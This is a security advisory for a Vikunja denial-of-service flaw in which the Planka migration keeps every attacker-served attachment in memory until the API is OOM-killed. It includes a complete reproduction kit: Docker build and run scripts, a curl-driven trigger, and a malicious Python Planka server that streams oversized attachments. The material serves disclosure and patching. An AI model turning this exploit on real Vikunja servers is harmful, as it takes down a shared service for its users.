OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-91970: Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

GitHub Advisories · officialPublished Oct 9, 2026Risk 37/100

# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","email":"[email protected]","password":"PoC-Test-Password-123!"}' \ http://127.0.0.1:3456/api/v2/register)" test "${REGISTER_CODE}" = "201" curl -fsS \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \ http://127.0.0.1:3456/api/v2/login > /work/login.json TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')" test -n "${TOKEN}" BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")" OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)" MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \ http://127.0.0.1:3456/api/v2/migration/planka/migrate)" test "${MIGRATE_CODE}" = "200" for _ in $(seq 1 90); do if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then break fi sleep 1 done if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then echo "[PoC] target survived unexpectedly" >&2 tail -n 80 /work/vikunja.log >&2 tail -n 80 /work/planka.log >&2 exit 1 fi set +e wait "${VIKUNJA_PID}" TARGET_EXIT=$? set -e OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)" ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)" test "${OOM_AFTER}" -gt "${OOM_BEFORE}" test "${TARGET_EXIT}" -eq 137 test "${ATTACHMENTS_SERVED}" -ge 4 kill -0 "${PLANKA_PID}" if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then echo "[PoC] health endpoint remained available after target exit" >&2 exit 1 fi kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true trap - EXIT echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))" echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy" ``` Create `reproduction/run.sh`: ```sh #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)" if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)" fi CASE_ID="$(basename "${SESSION_DIR}")" FINDING_NAME="$(basename "${FINDING_DIR}")" IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}" NETWORK_NAME="${IMAGE_TAG}-net-$$" TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git" TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260" WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")" NETWORK_CREATED=false cleanup() { if [[ "${NETWORK_CREATED}" == "true" ]]; then docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT TARGET_REPO_DIR="${WORKDIR}/repo" echo "[PoC] cloning target repository" git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}" printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore" echo "[PoC] building reproduction image: ${IMAGE_TAG}" docker build \ --build-context "target=${TARGET_REPO_DIR}" \ -t "${IMAGE_TAG}" \ "${SCRIPT_DIR}" echo "[PoC] creating isolated public-address test network" docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null NETWORK_CREATED=true echo "[PoC] running exploit trigger and verification" docker run --rm \ --network "${NETWORK_NAME}" \ --ip 93.184.216.34 \ --memory=256m \ --memory-swap=256m \ -v "${TARGET_REPO_DIR}:/target-repo:ro" \ "${IMAGE_TAG}" \ /app/verify.sh echo "[PoC] SUCCESS: reproduction completed and verified" ``` Create `reproduction/malicious_planka.py`: ```python #!/usr/bin/env python3 import json import os import threading from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer ATTACHMENT_COUNT = 24 ATTACHMENT_BYTES = 20 * 1024 * 1024 counter = 0 counter_lock = threading.Lock() class Handler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" def log_message(self, fmt, *args): print(fmt % args, flush=True) def send_json(self, payload): body = json.dumps(payload, separators=(",", ":")).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_DELETE(self): self.send_response(204) self.send_header("Content-Length", "0") self.end_headers() def do_GET(self): global counter if self.path == "/api/users/me": self.send_json({"item": {"id": "attacker"}}) return if self.path == "/api/projects": self.send_json( { "items": [{"id": "p1", "name": "attacker project"}], "included": { "boards": [ {"id": "b1", "name": "board", "projectId": "p1", "position": 1} ], "baseCustomFieldGroups": [], "customFields": [], }, } ) return if self.path == "/api/boards/b1": attachments = [ { "id": f"a{i}", "type": "file", "name": f"aggregate-{i}.bin", "cardId": "c1", "data": {"mimeType": "application/octet-stream"}, } for i in range(ATTACHMENT_COUNT) ] self.send_json( { "item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1}, "included": { "users": [], "labels": [], "lists": [ {"id": "l1", "name": "active", "type": "active", "position": 1} ], "cards": [ {"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0} ], "cardLabels": [], "taskLists": [], "tasks": [], "attachments": attachments, "customFieldGroups": [], "customFields": [], "customFieldValues": [], }, } ) return if self.path.startswith("/attachments/"): self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(ATTACHMENT_BYTES)) self.end_headers() chunk = b"A" * 65536 try: for _ in range(ATTACHMENT_BYTES // len(chunk)): self.wfile.write(chunk) except (BrokenPipeError, ConnectionResetError): return with counter_lock: counter += 1 with open("/work/attachment-count", "w", encoding="ascii") as count_file: count_file.write(str(counter)) count_file.flush() os.fsync(count_file.fileno()) return self.send_response(404) self.send_header("Content-Length", "0") self.end_headers() ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever() ``` From the directory containing these files, run: ```sh chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true ./reproduction/run.sh ``` **Expected:** The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive. **Observed:** The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0. **Verification and controls:** The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health. Observed evidence: - migrate_status=200 - public_attacker_ip=93.184.216.34 - attachments_served=5 - baseline_rss_kib=68064 - target_exit=137 - oom_kill_delta=1 - [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy ## Suggested remediation Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles. ## Severity **CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026. ## Disclosure context and attribution AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment. Reported by the University of Sydney security research team: - [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530) - [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110) - [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd) - [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98) - [Chenchen Yu (@7thParkk)](https://github.com/7thParkk) We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Upgrade affected packages to a patched version: code.vikunja.io/api 2.6.0.

Vendor
Not specified
Product
code.vikunja.io/api
Exploitation
none known
Evidence
official

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source